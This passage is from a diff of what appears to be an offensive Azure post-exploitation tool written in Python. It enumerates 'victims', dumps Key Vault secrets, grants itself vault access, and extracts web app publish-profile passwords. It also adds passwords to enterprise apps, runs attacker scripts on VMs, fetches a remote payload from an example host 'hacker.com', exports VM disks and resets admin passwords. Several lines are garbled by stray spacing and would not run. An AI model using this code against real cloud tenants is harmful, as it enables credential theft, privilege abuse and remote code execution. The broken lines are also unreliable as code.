found.") 1273 + else: 1274 + print("Trying to list all vaults.. (it might take a few minutes)") 1275 + victims = [] 1276 + AllVaultsRecords = PrettyTable() 1277 + AllVaultsRecords.align = "l" 1278 + AllVaultsRecords.field_names = ["#", "Name", "Location", "Type", "Resource Group", "SubscriptionId"] 1279 + AllVaultRecordsCount = 0 1280 + for VaultRecord in RD_ListAllVaults(): 1281 + victims.append({"name": VaultRecord['name'], "id": VaultRecord['id']}) 1282 + AllVaultsRecords.add_row( 1283 + [AllVaultRecordsCount, VaultRecord['name'], VaultRecord['location'], VaultRecord['type'], 1284 + VaultRecord['resourceGroup'], VaultRecord['subscriptionId']]) 1285 + AllVaultRecordsCount += 1 1286 + print(AllVaultsRecords) 1287 + TargetVault = input("Select Vault Id [i.e. 0]: ") 1288 + Selection = int(TargetVault) 1289 + secretsLoad = HLP_GetSecretsInVault(victims[Selection]['name']).split("|") 1290 + AllVaultsSecretsRecords = PrettyTable() 1291 + AllVaultsSecretsRecords.align = "l" 1292 + AllVaultsSecretsRecords.field_names = ["#", "Secret Name", "Secret Value"] 1293 + AllVaultsSecretsRecordsCount = 0 1294 + SecretPathPattren = "https://"+str(victims[Selection]['name'])+".vault.azure.net/secrets/" 1295 + print("Trying enumerate all "+str(victims[Selection]['name'])+" vault secrets.. ") 1296 + if 'does not have secrets list permission on key vault' in secretsLoad[1]: 1297 + print("User does not have secrets list permission. Trying adding access policy.. ") 1298 + if HLP_AddVaultACL(victims[Selection]['id']): 1299 + secretsLoadAgain = HLP_GetSecretsInVaultNoStrings(victims[Selection]['name']) 1300 + for secret in secretsLoadAgain: 1301 + AllVaultsSecretsRecords.add_row([AllVaultsSecretsRecordsCount, secret['id'].replace(SecretPathPattren,""), HLP_GetSecretValueTXT(secret['id'])]) 1302 + AllVaultsSecretsRecordsCount +=1 1303 + else: 1304 + print("Failed to create access policy for vault.") 1305 + else: 1306 + secretsLoadClean = HLP_GetSecretsInVaultNoStrings(victims[Selection]['name']) 1307 + for secret in secretsLoadClean: 1308 + AllVaultsSecretsRecords.add_row([AllVaultsSecretsRecordsCount, secret['id'].replace(SecretPathPattren,""), HLP_GetSecretValueTXT(secret['id'])]) 1309 + AllVaultsSecretsRecordsCount += 1 1310 + print(AllVaultsSecretsRecords) 976 1311 elif "Reader/DumpAllRunBooks" in ExploitChoosen and mode == "run": 977 1312 print("Trying to dump runbooks codes under available automation accounts (it may takes a few minutes)..") 978 1313 print("Keep in mind that it might be noisy opsec..") 979 - ExportedRunBooksRecordsCount = 0 980 - DestPath = input("Please enter the path for store the data locally [i.e. C:\\tmp]: ") 981 - for CurrentRunBookRecord in RD_ListRunBooksByAutomationAccounts(): 982 - with open(os.path.normpath(DestPath+'\\'+'runbook_'+str(CurrentRunBookRecord['name'])+'.txt'), 'x') as f: 983 - f.write(str(RD_DumpRunBookContent(CurrentRunBookRecord['id']))) 984 - ExportedRunBooksRecordsCount += 1 985 - print("Done. Dumped Total " + str(ExportedRunBooksRecordsCount) + " runbooks to " + str(DestPath)) 1314 + if len(RD_ListRunBooksByAutomationAccounts()) < 1: 1315 + print("No Runbooks were found.") 1316 + else: 1317 + ExportedRunBooksRecordsCount = 0 1318 + DestPath = input("Please enter the path for store the data locally [i.e. C:\\tmp]: ") 1319 + for CurrentRunBookRecord in RD_ListRunBooksByAutomationAccounts(): 1320 + with open(os.path.normpath(DestPath+'\\'+'runbook_'+str(CurrentRunBookRecord['name'])+'.txt'), 'x') as f: 1321 + f.write(str(RD_DumpRunBookContent(CurrentRunBookRecord['id']))) 1322 + ExportedRunBooksRecordsCount += 1 1323 + print("Done. Dumped Total " + str(ExportedRunBooksRecordsCount) + " runbooks to " + str(DestPath)) 986 1324 elif "Reader/ListAllRunBooks" in ExploitChoosen and mode == "run": 987 - print("Trying to enumerate all runbooks under available automation accounts..") 988 - RunBooksRecords = PrettyTable() 989 - RunBooksRecords.align = "l" 990 - RunBooksRecords.field_names = ["#", "SubscriptionId", "AutomationAccount", "Runbook Name", "Runbook Type", "Status", "CreatedAt", "UpdatedAt"] 991 - RunBooksRecordsCount = 0 992 - for RunBookRecord in RD_ListRunBooksByAutomationAccounts(): 993 - RunBooksRecords.add_row([RunBooksRecordsCount, RunBookRecord['subscriptionId'], RunBookRecord['automationAccount'], RunBookRecord['name'], RunBookRecord['properties']['runbookType'], RunBookRecord['properties']['state'], RunBookRecord['properties']['creationTime'], RunBookRecord['properties']['lastModifiedTime']]) 994 - RunBooksRecordsCount += 1 995 - print(RunBooksRecords) 1325 + print("Trying to dump runbooks codes under available automation accounts ( it may takes a few minutes ) ..") 1326 + print("Keep in mind that it might be noisy opsec..") 1327 + if len(RD_ListRunBooksByAutomationAccounts()) < 1: 1328 + print("No Runbooks were found.") 1329 + else: 1330 + print("Trying to enumerate all runbooks under available automation accounts..") 1331 + RunBooksRecords = PrettyTable() 1332 + RunBooksRecords.align = "l" 1333 + RunBooksRecords.field_names = ["#", "SubscriptionId", "AutomationAccount", "Runbook Name", "Runbook Type", "Status", "CreatedAt", "UpdatedAt"] 1334 + RunBooksRecordsCount = 0 1335 + for RunBookRecord in RD_ListRunBooksByAutomationAccounts(): 1336 + RunBooksRecords.add_row([RunBooksRecordsCount, RunBookRecord['subscriptionId'], RunBookRecord['automationAccount'], RunBookRecord['name'], RunBookRecord['properties']['runbookType'], RunBookRecord['properties']['state'], RunBookRecord['properties']['creationTime'], RunBookRecord['properties']['lastModifiedTime']]) 1337 + RunBooksRecordsCount += 1 1338 + print(RunBooksRecords) 996 1339 elif "Reader/ARMTemplatesDisclosure" in ExploitChoosen and mode == "run": 997 1340 print("Trying to enumerate outputs and parameters strings from a Azure Resource Manager (ARM)..") 998 - ArmTempRecords = PrettyTable() 999 - ArmTempRecords.align = "l" 1000 - ArmTempRecords.field_names = ["#", "Deployment Name", "Parameter Name", "Parameter Value", "Type"] 1001 - ArmTempRecordsCount = 0 1002 - print("Skipping SecureString/Object/Array values from list..") 1003 - for ArmTempRecord in RD_ListARMTemplates(): 1004 - for itStr in ArmTempRecord['params']: 1005 - if ArmTempRecord['params'][itStr]['type'] == "SecureString" or ArmTempRecord['params'][itStr]['type'] == "Array" or ArmTempRecord['params'][itStr]['type'] == "Object": 1006 - continue 1007 - ArmTempRecords.add_row( 1008 - [ArmTempRecordsCount, ArmTempRecord['name'], itStr, ArmTempRecord['params'][itStr]['type'], 1009 - ArmTempRecord['params'][itStr]['value']]) 1010 - for itStrO in ArmTempRecord['outputs']: 1011 - ArmTempRecords . add_row ( [ArmTempRecordsCount, ArmTempRecord['name'], itStrO , ArmTempRecord['outputs '][itStrO ]['type'],ArmTempRecord [ ' outputs ' ] [ itStrO ] [ ' value ' ] ] ) 1012 - ArmTempRecordsCount += 1 1013 - print(ArmTempRecords) 1341 + if len(RD_ListARMTemplates()) < 1: 1342 + print("No ARM Templates were found.") 1343 + else: 1344 + ArmTempRecords = PrettyTable() 1345 + ArmTempRecords.align = "l" 1346 + ArmTempRecords.field_names = ["#", "Deployment Name", "Parameter Name", "Parameter Value", "Type"] 1347 + ArmTempRecordsCount = 0 1348 + print("Skipping SecureString/Object/Array values from list..") 1349 + for ArmTempRecord in RD_ListARMTemplates(): 1350 + for itStr in ArmTempRecord['params']: 1351 + if ArmTempRecord['params'][itStr]['type'] == "SecureString" or ArmTempRecord['params'][itStr]['type'] == "Array" or ArmTempRecord['params'][itStr]['type'] == "Object": 1352 + continue 1353 + ArmTempRecords.add_row( 1354 + [ArmTempRecordsCount, ArmTempRecord['name'], itStr , ArmTempRecord['params '][itStr ]['type'], 1355 + ArmTempRecord['params'][itStr]['value']]) 1356 + for itStrO in ArmTempRecord['outputs']: 1357 + ArmTempRecords.add_row([ArmTempRecordsCount, ArmTempRecord['name'], itStrO, ArmTempRecord['outputs'][itStrO]['type'],ArmTempRecord['outputs'][itStrO]['value']]) 1358 + ArmTempRecordsCount += 1 1359 + print(ArmTempRecords) 1014 1360 elif "Reader/ListAllUsers" in ExploitChoosen and mode == "run": 1015 1361 print("Trying to list all users.. (it might take a few minutes)") 1016 1362 AllUsersRecords = PrettyTable() skipped 4 lines 1021 1367 AllUsersRecords.add_row([AllUsersRecordsCount, UserRecord['displayName'], UserRecord['givenName'], UserRecord['surname'], UserRecord['mobilePhone'], UserRecord['mail'], UserRecord['userPrincipalName']]) 1022 1368 AllUsersRecordsCount += 1 1023 1369 print(AllUsersRecords) 1370 + elif "Reader/ListAllStorageAccounts" in ExploitChoosen and mode == "run": 1371 + print("Trying to list all storage accounts.. (it might take a few minutes)") 1372 + if len(RD_ListAllStorageAccounts()) < 1: 1373 + print("No Runbooks were found.") 1374 + else: 1375 + AllStorageAccountsRecords = PrettyTable() 1376 + AllStorageAccountsRecords.align = "l" 1377 + AllStorageAccountsRecords.field_names = ["#", "Name", "Location", "Type", "CustomDomain", "AllowBlobPublicAccess", "AllowSharedKeyAccess", "Resource Group"] 1378 + AllStorageAccountRecordsCount = 0 1379 + for SARecord in RD_ListAllStorageAccounts(): 1380 + AllStorageAccountsRecords.add_row( 1381 + [AllStorageAccountRecordsCount, SARecord['name'], SARecord['location'], SARecord['type'], SARecord['customDomain'], 1382 + SARecord['properties']['allowBlobPublicAccess'], SARecord['allowSharedKeyAccess'], SARecord['resourceGroup']]) 1383 + AllStorageAccountRecordsCount += 1 1384 + print(AllStorageAccountsRecords) 1385 + elif "Reader/ListAllVaults" in ExploitChoosen and mode == "run": 1386 + print("Trying to list all vaults.. (it might take a few minutes)") 1387 + if len(RD_ListAllVaults()) < 1: 1388 + print("No Runbooks were found.") 1389 + else: 1390 + AllVaultsRecords = PrettyTable() 1391 + AllVaultsRecords.align = "l" 1392 + AllVaultsRecords.field_names = ["#", "Name", "Location", "Type", "Resource Group", "SubscriptionId"] 1393 + AllVaultRecordsCount = 0 1394 + for VaultRecord in RD_ListAllVaults(): 1395 + AllVaultsRecords.add_row([AllVaultRecordsCount, VaultRecord['name'],VaultRecord['location'], VaultRecord['type'], VaultRecord['resourceGroup'], VaultRecord['subscriptionId']]) 1396 + AllVaultRecordsCount += 1 1397 + print(AllVaultsRecords) 1024 1398 elif "Reader/ListVirtualMachines" in ExploitChoosen and mode == "run": 1025 1399 print("Trying to list all virtual machines.. (it might take a few minutes)") 1026 - AllVMRecords = PrettyTable() 1027 - AllVMRecords.align = "l" 1028 - AllVMRecords.field_names = ["#", "Name", "Location", "PublicIP", "ResourceGroup", "Identity", "SubscriptionId"] 1029 - AllVMRecordsCount = 0 1030 - for UserVMRecord in RD_ListAllVMs(): 1031 - if UserVMRecord['identity'] == "N/A": 1032 - VMIdentity = "N/A" 1033 - else: 1034 - VMIdentity = UserVMRecord['identity'][ ' type ' ] 1035 - if HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],UserVMRecord['name']) == "N/A": 1036 - AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], "N/A", UserVMRecord['resourceGroup'], VMIdentity, UserVMRecord['subscriptionId']]) 1037 - else: 1038 - AllVMRecords . add_row ( [ AllVMRecordsCount , UserVMRecord [ ' name ' ] , UserVMRecord [ ' location ' ] , HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'],UserVMRecord['resourceGroup'],UserVMRecord['name']), UserVMRecord [ ' resourceGroup ' ] , VMIdentity , UserVMRecord [ ' subscriptionId ' ] ] ) 1039 - AllVMRecordsCount += 1 1040 - print(AllVMRecords) 1400 + if len(RD_ListAllVMs()) < 1: 1401 + print("No VMs were found.") 1402 + else: 1403 + AllVMRecords = PrettyTable() 1404 + AllVMRecords.align = "l" 1405 + AllVMRecords.field_names = ["#", "Name", "Location", "PublicIP", "ResourceGroup", "Identity", "SubscriptionId"] 1406 + AllVMRecordsCount = 0 1407 + for UserVMRecord in RD_ListAllVMs(): 1408 + if UserVMRecord['identity'] = = " N / A " : 1409 + VMIdentity = "N/A" 1410 + else: 1411 + VMIdentity = UserVMRecord['identity']['type'] 1412 + if HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],UserVMRecord['name']) = = " N / A " : 1413 + AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], "N/A", UserVMRecord['resourceGroup'], VMIdentity, UserVMRecord['subscriptionId']]) 1414 + else: 1415 + AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'],UserVMRecord['resourceGroup'],UserVMRecord['name']), UserVMRecord['resourceGroup'], VMIdentity, UserVMRecord['subscriptionId']]) 1416 + AllVMRecordsCount += 1 1417 + print(AllVMRecords) 1041 1418 elif "Reader/ListServicePrincipal" in ExploitChoosen and mode == "run": 1042 1419 print("Trying to enumerate all service principles (App registrations)..") 1043 - EntAppsRecords = PrettyTable() 1044 - EntAppsRecords.align = "l" 1045 - EntAppsRecords.field_names = ["#", "App Name", "AppId", "Domain", "Has Ownership?"] 1046 - EntAppsRecordsCount = 0 1047 - for EntAppsRecord in RD_AddAppSecret()['value']: 1048 - EntAppsRecords.add_row([EntAppsRecordsCount, EntAppsRecord['displayName'], EntAppsRecord['appId'], EntAppsRecord['publisherDomain'], CHK_AppRegOwner(EntAppsRecord['appId'])]) 1049 - EntAppsRecordsCount + = 1 1050 - print(EntAppsRecords) 1420 + if len(RD_AddAppSecret()) < 1: 1421 + print("No Apps registrations were found.") 1422 + else: 1423 + EntAppsRecords = PrettyTable() 1424 + EntAppsRecords.align = "l" 1425 + EntAppsRecords.field_names = ["#", "App Name", "AppId", "Domain", "Has Ownership?"] 1426 + EntAppsRecordsCount = 0 1427 + for EntAppsRecord in RD_AddAppSecret()['value']: 1428 + EntAppsRecords.add_row([EntAppsRecordsCount, EntAppsRecord['displayName'], EntAppsRecord['appId'], EntAppsRecord['publisherDomain'], CHK_AppRegOwner(EntAppsRecord['appId'])]) 1429 + EntAppsRecordsCount += 1 1430 + print(EntAppsRecords) 1051 1431 elif "Reader/abuseServicePrincipals" in ExploitChoosen and mode == "run": 1052 1432 print("Trying to enumerate all Enterprise applications (service principals)..") 1053 - EntAppsRecords = PrettyTable() 1054 - EntAppsRecords.align = "l" 1055 - EntAppsRecords.field_names = ["#", "App Name", "AppId", "Domain", "Can Abused?"] 1056 - EntAppsRecordsCount = 0 1057 - for EntAppsRecord in RD_AddAppSecret()['value']: 1058 - print("Trying to register service principle for " + EntAppsRecord['displayName'] + " app..") 1059 - pwdGen = RD_addPasswordForEntrepriseApp(EntAppsRecord['appId']) 1060 - if pwdGen == "N/A": 1061 - EntAppsRecords.add_row([EntAppsRecordsCount, EntAppsRecord['displayName'], EntAppsRecord['appId'], EntAppsRecord['publisherDomain'], "N/A"]) 1062 - else: 1063 - EntAppsRecords.add_row([EntAppsRecordsCount, EntAppsRecord['displayName'], EntAppsRecord['appId'], 1064 - EntAppsRecord['publisherDomain'],pwdGen]) 1065 - EntAppsRecordsCount += 1 1066 - print(EntAppsRecords) 1433 + if len(RD_AddAppSecret()) < 1: 1434 + print("No service principals were found.") 1435 + else: 1436 + EntAppsRecords = PrettyTable() 1437 + EntAppsRecords.align = "l" 1438 + EntAppsRecords.field_names = ["#", "App Name", "AppId", "Domain", "Can Abused?"] 1439 + EntAppsRecordsCount = 0 1440 + for EntAppsRecord in RD_AddAppSecret()['value']: 1441 + print("Trying to register service principle for " + EntAppsRecord['displayName'] + " app..") 1442 + pwdGen = RD_addPasswordForEntrepriseApp(EntAppsRecord['appId']) 1443 + if pwdGen == "N/A": 1444 + EntAppsRecords.add_row([EntAppsRecordsCount, EntAppsRecord['displayName'], EntAppsRecord['appId'], EntAppsRecord['publisherDomain'], "N/A"]) 1445 + else: 1446 + EntAppsRecords.add_row([EntAppsRecordsCount, EntAppsRecord['displayName'], EntAppsRecord['appId'], 1447 + EntAppsRecord['publisherDomain'],pwdGen]) 1448 + EntAppsRecordsCount += 1 1449 + print(EntAppsRecords) 1450 + elif "Contributor/DumpWebAppPublishProfile" in ExploitChoosen and mode == "run": 1451 + print("Trying to enumerate app service sites.. (it might take a few minutes)") 1452 + if len(RD_ListAllDeployments()) < 1: 1453 + print("No deployments were found.") 1454 + else: 1455 + AllDepolymentsRecords = PrettyTable() 1456 + AllDepolymentsRecords.align = "l" 1457 + AllDepolymentsRecords.field_names = ["#", "ProfileName", "User", "Password", "Host"] 1458 + AllDepolymentsRecordsCount = 0 1459 + for DeploymentRecord in RD_ListAllDeployments(): 1460 + print("Enumerate strings for site " + DeploymentRecord['name'] + " ...") 1461 + DataStrings = CON_GetPublishProfileBySite(DeploymentRecord['id']) 1462 + for data in DataStrings: 1463 + AllDepolymentsRecords.add_row([AllDepolymentsRecordsCount, data['name'], data['user'], data['pwd'], data['host']]) 1464 + AllDepolymentsRecordsCount += 1 1465 + print(AllDepolymentsRecords) 1466 + elif "Reader/ListAppServiceSites" in ExploitChoosen and mode == "run": 1467 + print("Trying to enumerate app service sites.. (it might take a few minutes)") 1468 + if len(RD_ListAllDeployments()) < 1: 1469 + print("No deployments were found.") 1470 + else: 1471 + AllDepolymentsRecords = PrettyTable() 1472 + AllDepolymentsRecords.align = "l" 1473 + AllDepolymentsRecords.field_names = ["#", "SiteName", "Location", "Type", "Status"] 1474 + AllDepolymentsRecordsCount = 0 1475 + for DeploymentRecord in RD_ListAllDeployments(): 1476 + AllDepolymentsRecords.add_row([AllDepolymentsRecordsCount, DeploymentRecord['name'], DeploymentRecord['location'], DeploymentRecord['type'], DeploymentRecord['properties']['state']]) 1477 + AllDepolymentsRecordsCount += 1 1478 + print(AllDepolymentsRecords) 1067 1479 elif "Contributor/RunCommandVM" in ExploitChoosen and mode == "run": 1068 1480 print("Trying to list exposed virtual machines.. (it might take a few minutes)") 1069 - victims = {} 1070 - AllVMRecords = PrettyTable() 1071 - AllVMRecords.align = "l" 1072 - AllVMRecords.field_names = ["#", "Name", "Location", "PublicIP", "OSType", "ResourceGroup","SubscriptionId"] 1073 - AllVMRecordsCount = 0 1074 - for UserVMRecord in RD_ListAllVMs(): 1075 - if HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],UserVMRecord['name']) == "N/A": 1076 - continue 1077 - else: 1078 - victims[AllVMRecordsCount] = {"name": UserVMRecord['name'],"os": UserVMRecord['properties']['storageProfile']['osDisk']['osType'], "location": UserVMRecord['location'],"subId": UserVMRecord['subscriptionId'],"rg": UserVMRecord['resourceGroup']} 1079 - AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'],HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'],UserVMRecord['resourceGroup'], UserVMRecord['name']),UserVMRecord['properties']['storageProfile']['osDisk']['osType'], 1080 - UserVMRecord['resourceGroup'], 1081 - UserVMRecord['subscriptionId']]) 1082 - AllVMRecordsCount += 1 1083 - print(AllVMRecords) 1084 - TargetVM = input("Select Target VM Name [i.e. 1]: ") 1085 - Selection = int(TargetVM) 1086 - CmdVMPath = input("Enter Path for Script [i.e. C:\exploit\shell.ps1]: ") 1087 - with open(os.path.normpath(CmdVMPath)) as f: 1088 - CmdFileContent = f.read() 1089 - print(CON_VMRunCommand(victims[Selection]["subId"],victims[Selection]["rg"],victims[Selection]["os"],victims[Selection]["name"], CmdFileContent)) 1481 + if len(RD_ListAllVMs()) < 1: 1482 + print("No VMs were found.") 1483 + else: 1484 + victims = {} 1485 + AllVMRecords = PrettyTable() 1486 + AllVMRecords.align = "l" 1487 + AllVMRecords.field_names = ["#", "Name", "Location", "PublicIP", "OSType", "ResourceGroup","SubscriptionId"] 1488 + AllVMRecordsCount = 0 1489 + for UserVMRecord in RD_ListAllVMs(): 1490 + if HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],UserVMRecord['name']) == "N/A": 1491 + continue 1492 + else: 1493 + victims[AllVMRecordsCount] = {"name": UserVMRecord['name'],"os": UserVMRecord['properties']['storageProfile']['osDisk']['osType'], "location": UserVMRecord['location'],"subId": UserVMRecord['subscriptionId'],"rg": UserVMRecord['resourceGroup']} 1494 + AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'],HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'],UserVMRecord['resourceGroup'], UserVMRecord['name']),UserVMRecord['properties']['storageProfile']['osDisk']['osType'], 1495 + UserVMRecord['resourceGroup'], 1496 + UserVMRecord['subscriptionId']]) 1497 + AllVMRecordsCount += 1 1498 + print(AllVMRecords) 1499 + TargetVM = input("Select Target VM Name [i.e. 1]: ") 1500 + Selection = int(TargetVM) 1501 + CmdVMPath = input("Enter Path for Script [i.e. C:\exploit\shell.ps1]: ") 1502 + with open(os.path.normpath(CmdVMPath)) as f: 1503 + CmdFileContent = f.read() 1504 + print(CON_VMRunCommand(victims[Selection]["subId"],victims[Selection]["rg"],victims[Selection]["os"],victims[Selection]["name"], CmdFileContent)) 1090 1505 elif "Contributor/VMDiskExport" in ExploitChoosen and mode == "run": 1091 1506 print("Trying to list deallocated virtual machines.. (it might take a few minutes)") 1092 - victims = {} 1093 - AllVMRecords = PrettyTable() 1094 - AllVMRecords.align = "l" 1095 - AllVMRecords.field_names = ["#", "Name", "Location", "DiskName", "VM Status"] 1096 - AllVMRecordsCount = 0 1097 - for UserVMRecord in RD_ListAllVMs(): 1098 - VMState = HLP_GetVMInstanceView(UserVMRecord['subscriptionId'],UserVMRecord['resourceGroup'],UserVMRecord['name']) 1099 - if VMState != "PowerState/deallocated": 1100 - continue 1101 - victims[AllVMRecordsCount] = {"name": UserVMRecord['name'], "location": UserVMRecord['location'], "diskName": UserVMRecord['properties']['storageProfile']['osDisk']['name'],"subId": UserVMRecord['subscriptionId'],"rg": UserVMRecord['resourceGroup']} 1102 - AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], UserVMRecord['properties']['storageProfile']['osDisk']['name'], VMState]) 1103 - AllVMRecordsCount += 1 1104 - print(AllVMRecords) 1105 - TargetVM = input("Select Target DiskVM [i.e. 1]: ") 1106 - print("Create a SAS link for VHD download...") 1107 - Selection = int(TargetVM) 1108 - print(CON_GenerateVMDiskSAS(victims[Selection]["subId"], victims[Selection]["rg"], victims[Selection]["diskName"], victims[Selection]["location"])) 1109 - 1507 + if len(RD_ListAllVMs()) < 1: 1508 + print("No VMs were found.") 1509 + else: 1510 + victims = {} 1511 + AllVMRecords = PrettyTable() 1512 + AllVMRecords.align = "l" 1513 + AllVMRecords.field_names = ["#", "Name", "Location", "DiskName", "VM Status"] 1514 + AllVMRecordsCount = 0 1515 + for UserVMRecord in RD_ListAllVMs(): 1516 + VMState = HLP_GetVMInstanceView(UserVMRecord['subscriptionId'],UserVMRecord['resourceGroup'],UserVMRecord['name']) 1517 + if VMState != "PowerState/deallocated": 1518 + continue 1519 + victims[AllVMRecordsCount] = {"name": UserVMRecord['name'], "location": UserVMRecord['location'], "diskName": UserVMRecord['properties']['storageProfile']['osDisk']['name'],"subId": UserVMRecord['subscriptionId'],"rg": UserVMRecord['resourceGroup']} 1520 + AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], UserVMRecord['properties']['storageProfile']['osDisk']['name'], VMState]) 1521 + AllVMRecordsCount += 1 1522 + print(AllVMRecords) 1523 + TargetVM = input("Select Target DiskVM [i.e. 1]: ") 1524 + print("Create a SAS link for VHD download...") 1525 + Selection = int(TargetVM) 1526 + print(CON_GenerateVMDiskSAS(victims[Selection]["subId"], victims[Selection]["rg"], victims[Selection]["diskName"], victims[Selection]["location"])) 1110 1527 elif "Contributor/VMExtensionExecution" in ExploitChoosen and mode == "run": 1111 1528 print("Trying to list exposed virtual machines.. (it might take a few minutes)") 1112 - victims = {} 1113 - AllVMRecords = PrettyTable() 1114 - AllVMRecords.align = "l" 1115 - AllVMRecords.field_names = ["#", "Name", "Location", "PublicIP", "adminUsername", "ResourceGroup", 1116 - "SubscriptionId"] 1117 - AllVMRecordsCount = 0 1118 - for UserVMRecord in RD_ListAllVMs(): 1119 - if HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'], 1120 - UserVMRecord['name']) == "N/A": 1121 - continue 1122 - else: 1123 - victims[AllVMRecordsCount] = {"name": UserVMRecord['name'], 1124 - "username": UserVMRecord['properties']['osProfile'][ 1125 - 'adminUsername'], "location": UserVMRecord['location'], 1126 - "subId": UserVMRecord['subscriptionId'], 1127 - "rg": UserVMRecord['resourceGroup']} 1128 - AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], 1129 - HLP_GetAzVMPublicIP ( UserVMRecord['subscriptionId'], 1130 - UserVMRecord['resourceGroup'], UserVMRecord [ ' name ' ] ) , 1131 - UserVMRecord['properties']['osProfile']['adminUsername'], 1132 - UserVMRecord['resourceGroup'], 1133 - UserVMRecord['subscriptionId']]) 1134 - AllVMRecordsCount += 1 1135 - print(AllVMRecords) 1136 - TargetVM = input("Select Target VM Name [i.e. 1]: ") 1137 - RemotePayload = input("Enter Remote Payload [i.e. https://hacker.com/shell.ps1]: ") 1138 - Selection = int(TargetVM) 1139 - print(CON_VMExtensionExecution(victims[Selection]["subId"], victims[Selection]["location"], 1140 - victims[Selection]["rg"], victims[Selection]["name"], RemotePayload)) 1141 - 1529 + if len(RD_ListAllVMs()) < 1: 1530 + print("No VMs were found.") 1531 + else: 1532 + victims = {} 1533 + AllVMRecords = PrettyTable() 1534 + AllVMRecords.align = "l" 1535 + AllVMRecords.field_names = ["#", "Name", "Location", "PublicIP", "adminUsername", "ResourceGroup", 1536 + "SubscriptionId"] 1537 + AllVMRecordsCount = 0 1538 + for UserVMRecord in RD_ListAllVMs(): 1539 + if HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'], 1540 + UserVMRecord['name']) == "N/A": 1541 + continue 1542 + else: 1543 + victims[AllVMRecordsCount] = {"name": UserVMRecord['name'], 1544 + "username": UserVMRecord['properties']['osProfile'][ 1545 + 'adminUsername'], "location": UserVMRecord['location'], 1546 + " subId " : UserVMRecord['subscriptionId'], 1547 + " rg " : UserVMRecord['resourceGroup']} 1548 + AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], 1549 + HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], 1550 + UserVMRecord['resourceGroup'], UserVMRecord['name']), 1551 + UserVMRecord['properties']['osProfile']['adminUsername'], 1552 + UserVMRecord['resourceGroup'], 1553 + UserVMRecord['subscriptionId']]) 1554 + AllVMRecordsCount += 1 1555 + print(AllVMRecords) 1556 + TargetVM = input("Select Target VM Name [i.e. 1]: ") 1557 + RemotePayload = input("Enter Remote Payload [i.e. https://hacker.com/shell.ps1]: ") 1558 + Selection = int(TargetVM) 1559 + print(CON_VMExtensionExecution(victims[Selection]["subId"], victims[Selection]["location"], 1560 + victims[Selection]["rg"], victims[Selection]["name"], RemotePayload)) 1142 1561 elif "Contributor/VMExtensionResetPwd" in ExploitChoosen and mode == "run": 1143 1562 print("Trying to list exposed virtual machines.. (it might take a few minutes)") 1144 - victims = {} 1145 - AllVMRecords = PrettyTable() 1146 - AllVMRecords.align = "l" 1147 - AllVMRecords.field_names = ["#", "Name", "Location", "PublicIP", "adminUsername", "ResourceGroup", "SubscriptionId"] 1148 - AllVMRecordsCount = 0 1149 - for UserVMRecord in RD_ListAllVMs(): 1150 - if HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],UserVMRecord['name']) == "N/A": 1151 - continue 1152 - else: 1153 - victims[AllVMRecordsCount] = {"name": UserVMRecord['name'], "username": UserVMRecord['properties']['osProfile']['adminUsername'], "location": UserVMRecord['location'], "subId": UserVMRecord['subscriptionId'], "rg": UserVMRecord['resourceGroup']} 1154 - AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],UserVMRecord['name']), 1155 - UserVMRecord['properties']['osProfile']['adminUsername'], UserVMRecord['resourceGroup'], 1156 - UserVMRecord['subscriptionId']]) 1157 - AllVMRecordsCount += 1 1158 - print(AllVMRecords) 1159 - TargetVM = input("Select Target VM Name [i.e. 1]: ") 1160 - Selection = int(TargetVM) 1161 - print(CON_VMExtensionResetPwd(victims[Selection]["subId"],victims[Selection]["location"],victims[Selection]["rg"],victims[Selection]["name"], "RandomExtNas", victims[Selection]["username"])) 1162 - 1563 + if len(RD_ListAllVMs()) < 1: 1564 + print("No VMs were found.") 1565 + else: 1566 + victims = {} 1567 + AllVMRecords = PrettyTable() 1568 + AllVMRecords.align = "l" 1569 + AllVMRecords.field_names = ["#", "Name", "Location", "PublicIP", "adminUsername", "ResourceGroup", "SubscriptionId"] 1570 + AllVMRecordsCount = 0 1571 + for UserVMRecord in RD_ListAllVMs(): 1572 + if HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],UserVMRecord['name']) == "N/A": 1573 + continue 1574 + else: 1575 + victims[AllVMRecordsCount] = {"name": UserVMRecord['name'], "username": UserVMRecord['properties']['osProfile']['adminUsername'], "location": UserVMRecord['location'], "subId": UserVMRecord['subscriptionId'], "rg": UserVMRecord['resourceGroup']} 1576 + AllVMRecords.add_row([AllVMRecordsCount, UserVMRecord['name'], UserVMRecord['location'], HLP_GetAzVMPublicIP(UserVMRecord['subscriptionId'], UserVMRecord['resourceGroup'],UserVMRecord['name']), 1577 + UserVMRecord['properties']['osProfile']['adminUsername'], UserVMRecord['resourceGroup'], 1578 + 